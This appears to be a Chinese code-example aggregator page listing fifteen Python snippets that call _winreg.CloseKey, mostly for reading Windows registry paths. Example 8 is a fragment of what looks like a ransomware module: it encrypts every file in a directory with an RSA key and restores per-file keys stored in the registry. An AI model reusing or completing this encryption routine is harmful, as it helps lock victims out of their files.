本文整理汇总了Python中_winreg.CloseKey方法的典型用法代码示例。如果您正苦于以下问题:Python _winreg.CloseKey方法的具体用法?Python _winreg.CloseKey怎么用?Python _winreg.CloseKey使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类_winreg
的用法示例。
在下文中一共展示了_winreg.CloseKey方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: flush
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def flush(self):
"""Ensure that the key's data is flushed to disk.
Quoting the _winreg documentation:
It is not necessary to call FlushKey() to change a key. Registry
changes are flushed to disk by the registry using its lazy flusher.
Registry changes are also flushed to disk at system shutdown.
Unlike CloseKey(), the FlushKey() method returns only when all the
data has been written to the registry. An application should only
call FlushKey() if it requires absolute certainty that registry
changes are on disk.
If you don't know whether a FlushKey() call is required, it
probably isn't.
"""
_winreg.FlushKey(self.hkey)
示例2: readKey
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def readKey(self, hkey, key_name, value_name = '', ignore_errors = False):
if sys.platform != 'win32':
return None
try:
if DEBUG:
print >> sys.stderr, 'win32regcheck: Opening', key_name, value_name
full_key = _winreg.OpenKey(hkey, key_name, 0, _winreg.KEY_READ)
if DEBUG:
print >> sys.stderr, 'win32regcheck: Open returned', full_key
value_data, value_type = _winreg.QueryValueEx(full_key, value_name)
if DEBUG:
print >> sys.stderr, 'win32regcheck: Read', value_data, value_type
_winreg.CloseKey(full_key)
return value_data
except:
if not ignore_errors:
print_exc(file=sys.stderr)
print_stack()
return None
示例3: _get_install_path
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _get_install_path():
"""
Returns installation path from registry.
Available only on Windows
"""
if is_portable():
return os.environ["XDG_CONFIG_HOME"]
try:
key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\SyncthingGTK")
path, keytype = _winreg.QueryValueEx(key, "InstallPath")
path = str(path)
_winreg.CloseKey(key)
return path
except WindowsError:
# This is really shouldn't happen. Use executable path.
os.path.dirname(sys.executable)
示例4: __init__
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def __init__(self):
self.hkey={}
for key in (k for k in dir(reg) if k.startswith('HKEY_')):
try:
chk = reg.ConnectRegistry(None, getattr(reg, key))
inf = reg.QueryInfoKey(chk)
reg.CloseKey(chk)
except WindowsError: pass # some keys may appear in _winreg but can't be reached
else:
hk = Hkey(key)
try:
chk=hk.keys
except WindowsError: pass # some keys can be accessed but not enumerated
else: # some keys work fine ...
name=key[5:].lower()
self.hkey[name]=hk # for iterating
setattr(self, name, hk) # for easy access
示例5: _read_registry
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _read_registry(root,key,value):
if _is_py2:
import _winreg as winreg
else:
import winreg
try:
hkey = winreg.OpenKey(root, key)
except:
return None
try:
(val, typ) = winreg.QueryValueEx(hkey, value)
except:
winreg.CloseKey(hkey)
return None
winreg.CloseKey(hkey)
return val
示例6: get_win32_executable
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def get_win32_executable():
if PY3:
import winreg
else:
import _winreg as winreg
reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
try:
key = winreg.OpenKey(reg, 'SOFTWARE\\VMware, Inc.\\VMware Workstation')
try:
return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
finally:
winreg.CloseKey(key)
except WindowsError:
key = winreg.OpenKey(reg, 'SOFTWARE\\WOW6432Node\\VMware, Inc.\\VMware Workstation')
try:
return os.path.join(winreg.QueryValueEx(key, 'InstallPath')[0], 'vmrun.exe')
finally:
winreg.CloseKey(key)
finally:
reg.Close()
return get_fallback_executable()
示例7: registry_key
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def registry_key(key, subkey, value):
"""
Create a new Windows Registry Key in HKEY_CURRENT_USER
`Required`
:param str key: primary registry key name
:param str subkey: registry key sub-key name
:param str value: registry key sub-key value
Returns True if successful, otherwise False
"""
try:
import _winreg
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(reg_key)
return True
except Exception as e:
log(e)
return False
示例8: _iter_files
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def _iter_files(rsa_key, base_dir=None):
try:
if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
if base_dir:
if os.path.isdir(base_dir):
return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
else:
util.log("Target directory '{}' not found".format(base_dir))
else:
cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
i = 0
while True:
try:
filename, key, _ = _winreg.EnumValue(reg_key, i)
key = cipher.decrypt(base64.b64decode(key))
globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
i += 1
except:
_winreg.CloseKey(reg_key)
break
except Exception as e:
util.log('{} error: {}'.format(_iter_files.__name__, str(e)))
示例9: uninstall_all
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def uninstall_all():
"""uninstalls PyXLL from all installed Excel versions"""
for wow64_flags in (winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY):
for root in _root_keys.keys():
try:
flags = wow64_flags | winreg.KEY_READ
office_root = winreg.OpenKey(root, r"Software\Microsoft\Office", 0, flags)
except WindowsError:
continue
# look for all installed versions of Excel and uninstall PyXLL
i = 0
while True:
try:
subkey = winreg.EnumKey(office_root, i)
except WindowsError:
break
match = re.match("^(\d+(?:\.\d+)?)$", subkey)
if match:
office_version = match.group(1)
uninstall(office_root, office_version, wow64_flags)
i += 1
winreg.CloseKey(office_root)
示例10: win32FontDirectory
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def win32FontDirectory( ):
"""Get User-specific font directory on Win32"""
try:
import _winreg
except ImportError:
return os.path.join(os.environ['WINDIR'], 'Fonts')
else:
k = _winreg.OpenKey(
_winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
)
try:
# should check that k is valid? How?
return _winreg.QueryValueEx( k, "Fonts" )[0]
finally:
_winreg.CloseKey( k )
示例11: GetInnoCompilerPath
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def GetInnoCompilerPath():
try:
key = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
"Uninstall\\Inno Setup 5_is1"
)
)
installPath = _winreg.QueryValueEx(key, "InstallLocation")[0]
_winreg.CloseKey(key)
except WindowsError:
return None
installPath = join(installPath, "ISCC.exe")
if not exists(installPath):
return None
return installPath
示例12: MyComputer
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def MyComputer(self):
mc_reg = None
try:
mc_reg = _winreg.OpenKey(
_winreg.HKEY_CLASSES_ROOT,
"CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
)
value, type = _winreg.QueryValueEx(mc_reg, "LocalizedString")
dll = os.path.split(value.split(",")[0][1:])[1]
index = -1*int(value.split(",")[1])
myComputer = LoadString(LoadLibrary(dll), index)
except:
myComputer = self.text.myComp
if mc_reg:
_winreg.CloseKey(mc_reg)
return myComputer
示例13: GetMpcHcPath
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def GetMpcHcPath(self):
"""
Get the path of MPC-HC's installation directory through querying
the Windows registry.
"""
try:
if "PROCESSOR_ARCHITEW6432" in environ:
args = [_winreg.HKEY_CURRENT_USER,
"Software\MPC-HC\MPC-HC"]
args.extend((0, _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY))
else:
args = [_winreg.HKEY_CURRENT_USER,
"Software\Gabest\Media Player Classic"]
mpc = _winreg.OpenKey(*args)
mpcPath =_winreg.QueryValueEx(mpc, "ExePath")[0]
_winreg.CloseKey(mpc)
except WindowsError:
mpcPath = None
return mpcPath
示例14: RunEmailClient
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def RunEmailClient(text):
"""Get the path of default email client through querying the
Windows registry. """
try:
em_reg = _winreg.OpenKey(
_winreg.HKEY_CLASSES_ROOT,
"\\mailto\\shell\\open\\command"
)
EmPath = _winreg.EnumValue(em_reg,0)[1]
_winreg.CloseKey(em_reg)
EmPath = EmPath.split('"')[1]
except:
eg.PrintError(text.error9)
else:
head, tail = os.path.split(EmPath)
win32api.ShellExecute(
0,
None,
tail,
None,
head,
1
)
#===============================================================================
示例15: get_system_fontdirs
# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import CloseKey [as 别名]
def get_system_fontdirs():
"""
The function detects system font directories according to detected
system type.
"""
if system.get_os_family() == system.LINUX:
home = os.path.expanduser('~')
return ['/usr/share/fonts', os.path.join(home, '.fonts')]
if system.get_os_family() == system.WINDOWS:
try:
import _winreg
except ImportError:
return [os.path.join(os.environ['WINDIR'], 'Fonts'), ]
else:
k = _winreg.OpenKey(
_winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
)
try:
return [_winreg.QueryValueEx(k, "Fonts")[0], ]
finally:
_winreg.CloseKey(k)
if system.get_os_family() == system.MACOSX:
# FIXME: It's a stub. The paths should be more exact.
return ['/', ]